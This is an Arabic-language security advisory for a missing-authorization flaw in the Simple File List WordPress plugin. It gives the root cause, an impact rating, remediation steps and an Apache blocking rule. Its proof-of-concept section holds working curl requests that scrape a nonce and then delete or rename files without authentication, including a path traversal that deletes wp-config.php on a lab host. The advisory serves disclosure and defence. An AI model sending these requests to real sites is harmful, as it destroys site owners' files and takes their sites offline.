CVE-2026-11912: Simple File List <= 6.3.7 - نقص التفويض يؤدي إلى تعديل الملفات غير المصادق عليه

ملخص تنفيذي

تفاصيل الثغرة

الوصف

إضافة Simple File List لووردبريس معرضة لتعديل الملفات التعسفي بسبب عدم كفاية فحوصات التفويض في جميع الإصدارات حتى 6.3.7. هذا يتيح للمهاجمين غير المصادق عليهم حذف وتعديل الملفات على الخادم.

تحليل السبب الجذري

تكمن الثغرة فيما يلي:

1. تسجيل نقطة نهاية AJAX: تم تسجيل إجراء AJAX simplefilelist_edit_job باستخدام كل من ربطتي wp_ajax_ و wp_ajax_nopriv_، مما يسمح بالوصول غير المصادق عليه:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. فحص تفويض معيب: يستخدم منطق التفويض في eeSFL_FileEditor() (السطر 1265):

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   ترجع الدالة is_admin() قيمة FALSE لطلبات AJAX، مما يتسبب في تقصير فحص التفويض قبل تقييم الإعداد AllowFrontManage.

3. كشف nonce: يتم إنشاء nonce الأمان (eeSFL_ActionNonce) باستخدام wp_create_nonce() ويتم كشفه في كود HTML المصدر للواجهة الأمامية، مما يسمح للمهاجمين باستخراجه دون مصادقة.

تقييم الأثر

تأثير السرية: عالي

• يمكن قراءة محتويات الملفات من خلال قائمة الملفات
• يتم كشف بيانات وصفية للملفات (الأسماء، الأحجام، التواريخ)

تأثير التكامل: عالي (حرج)

• حذف ملفات غير مصادق عليه
• إعادة تسمية ملفات غير مصادق عليه
• تعديل وصف ملف غير مصادق عليه
• اجتياز المسار يسمح بحذف ملفات حرجة (بما في ذلك wp-config.php)

تأثير التوفر: لا شيء

• عمليات الملفات لا تسبب رفض خدمة مباشر، لكنها قد تؤثر بشكل غير مباشر على التوفر من خلال حذف الملفات

إثبات الاستغلال في العالم الحقيقي

أثناء الاختبار، تم استغلال هذه الثغرة بنجاح لحذف ملف إعدادات ووردبريس (wp-config.php)، مما أدى إلى تعطيل الموقع بالكامل. هذا يوضح خطورة جانب اجتياز المسار لهذه الثغرة.

خطوات استغلال PoC

الخطوة 1: استخراج Nonce من الواجهة الأمامية

# احصل على nonce الأمان من صفحة قائمة الملفات
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2

الخطوة 2: حذف ملف غير مصادق عليه

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# Response: SUCCESS

الخطوة 3: إعادة تسمية ملف غير مصادق عليه

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS

الخطوة 4: اجتياز المسار (حرج - حذف wp-config.php)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# Response: SUCCESS (حرج - يؤدي إلى تعطيل الموقع!)

المعالجة

إجراءات فورية

1. تحديث الإضافة: الترقية إلى إصدار Simple File List 6.3.8 أو أعلى
2. التحقق من الاختراق: تدقيق نظام الملفات بحثًا عن تعديلات غير مصرح بها
3. استعادة النسخ الاحتياطية: إذا تأثر ملف wp-config.php، استعادته من نسخة احتياطية

إجراءات تخفيفية مؤقتة (إذا لم يكن التحديث ممكنًا فورًا)

1. تعطيل إضافة Simple File List حتى يتم التصحيح
2. إزالة أي صفحات تحتوي على الشورت كود [eeSFL]
3. تنفيذ قواعد WAF لحظر طلبات AJAX المشبوهة:
   root@kitploit:~

   # حظر استدعاءات AJAX لـ simplefilelist_edit_job
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

توصيات طويلة الأمد

• تنفيذ التحقق من مصدر الطلب (حماية CSRF)
• إضافة فحوصات صلاحية لجميع عمليات الملفات
• تحديد معدل نقاط نهاية AJAX
• مراقبة السجلات بحثًا عن عمليات ملفات مشبوهة

المراجع

• Wordfence Intelligence
• صفحة إضافة Simple File List
• مستودع SVN للإضافة

بيئة الاختبار

• المختبر: DDEV poloss-lab
• الرابط: https://poloss-lab.ddev.site
• إصدار الإضافة المُختبر: 6.3.7
• إصدار ووردبريس: الأحدث (PHP 8.4)

التقرير منشأ بواسطة Claude Code - مختبر اختبار أمان ووردبريس التاريخ: 20 يونيو 2026